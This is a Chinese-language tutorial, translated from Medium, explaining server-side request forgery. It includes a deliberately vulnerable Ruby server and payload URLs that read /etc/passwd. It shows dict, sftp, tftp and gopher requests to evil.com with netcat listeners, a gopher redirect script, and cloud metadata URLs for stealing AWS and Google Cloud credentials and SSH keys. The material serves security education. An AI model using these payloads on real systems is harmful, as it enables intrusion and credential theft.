深入浅出SSRF,Part-1

secM  1902天前

什么是SSRF漏洞?

服务器端请求伪造( Server SideRequest ForgerySSRF)是这样一种漏洞:攻击者能够从含有该漏洞的Web应用程序中发送精心构造的请求。对于这种类型的漏洞来说,最简单的一种攻击方式就是——攻击者要求服务器为其获取指定URL地址中的资源。

下面,我们来举例说明:

GET /?url=http://google.com/ HTTP/1.1

Host: example.com

 这样的话,就是让example.com网站的服务器从http://google.com获取相关数据。

 9.png

SSRF的类型:

SSRF漏洞主要分为两种,分别是:

  1. 向攻击者显示响应数据(基本类型)
  2. 不向攻击者显示响应数据(盲打类型)

下面,我们对这两种类型分别进行介绍。

基本类型

正如前面提到的,这种类型的漏洞会向攻击者显示响应信息,因此,当服务器从攻击者指定的URL处获取到相应的资源之后,会将响应信息返回给攻击者。

演示(这里将使用Ruby语言)

请读者安装以下程序包,并运行相应的代码:

gem install sinatra

 

require 'sinatra'

require 'open-uri'

 

get '/' do

  format 'RESPONSE: %s', open(params[:url]).read

end

上述代码将在端口4567上运行一个服务器(这段代码摘自Jobert文章)。

这样,我们就能设法打开相应的文件了,具体如下所示:

:http://localhost:4567/?url=contacts 将打开contacts文件,并将响应信息显示到前端

:http://localhost:4567/?url=/etc/passwd 将打开etc/passwd文件,并响应服务

:http://localhost:4567/?url=https://google.com将在服务器上向google.com发送请求,并显示响应信息

我们能用SSRF做什么?

  • SSRF到反射型XSS
  • 尝试通过各种URL Schema(例如file:///dict://ftp://gopher://,等等)来读取内部数据并让服务器执行某些操作
  • 扫描内部网络和端口
  • 如果含有该漏洞的Web应用运行在云实例上的话,则可以尝试获取元数据

SSRF到反射型XSS

为此,只需从外部站点获取一个文件即可,只要该文件含有相应的恶意payload,并且其内容类型为html

例如: http://localhost:4567/?url=http://brutelogic.com.br/poc.svg

测试URL Schema

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL Schema

  • file:///
  • dict://
  • sftp://
  • ldap://
  • tftp://
  • gopher://
file://

这种URL Schema可以尝试从文件系统中获取文件:

http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

dict://

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/

 

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)

CLIENT libcurl 7.40.0

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

 

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)

SSH-2.0-libssh2_1.4.2

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit

http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

TFTPTrivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

 

evil.com:# nc -lvup 1337

Listening on [0.0.0.0] (family 0, port1337)

TESTUDPPACKEToctettsize0blksize512timeout3

gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php

 

gopher.php (host it on acttacker.com):-

<?php

  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');

?>

 

evil.com:# nc -lvp 1337

Listening on [0.0.0.0] (family 0, port1337)

Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)

Hi

ssrf

test

有关更多信息,请参见此处

扫描内部网络和端口

如果攻击对象在局域网中运行一些服务器(如KibanaElastic SearchMongoDB,等等),但是我们却无法直接从Internet访问它们,因为防火墙会阻止这些访问,那么,我们该如何是好呢?

别急,我们可以利用SSRF漏洞来访问它们。

攻击者可以运行内部IP并进行端口扫描,从而了解有关目标的更多信息,并将其用于进一步攻击。

有时,这甚至会导致远程代码执行攻击。

示例:假设攻击者发现了一台运行过时软件的内部主机,该主机存在已经公开曝光的RCE漏洞,这样的话,攻击者就可以利用该漏洞来执行代码。当然,这种方式也适用于其他类型的漏洞。

云实例

亚马逊:

如果您在Amazon Could中找到了SSRF漏洞,由于Amazon会公开一个内部服务,所以,每个EC2实例都可以查询有关该主机的元数据。如果在运行于EC2上的Web服务中发现了SSRF漏洞,则可以尝试发送下列请求:

http://169.254.169.254/latest/me ta-data/

http://169.254.169.254/latest/user-data/

http://169.254.169.254/latest/me ta-data/iam/security-credentials/IAM_USER_ROLE_HERE

http://169.254.169.254/latest/me ta-data/iam/security-credentials/PhotonInstance

攻击者能够通过上面的方法来获取丰富的信息,如AWS密钥、SSH密钥等。

相关的POC,请参阅#285380#53088

例如:

Google Cloud

对于Google Cloud来说,相关的攻击方法也是一样的,例如:

http://me tadata.google.internal/computeme tadata/v1beta1/instance/service-accounts/default/token

http://me tadata.google.internal/computeme tadata/v1beta1/project/attributes/ssh-keys?alt=json

进一步利用该漏洞的话,甚至可以接管相关的实例,详情请参阅-#341876 

Digital Ocean

若要概览元数据,可以使用:

http://169.254.169.254/me tadata/v1.json

对于其他云实例,读者可以参阅这篇文章

本文翻译自medium.com, 原文链接 。如若转载请注明出处。

最新评论

昵称
邮箱
提交评论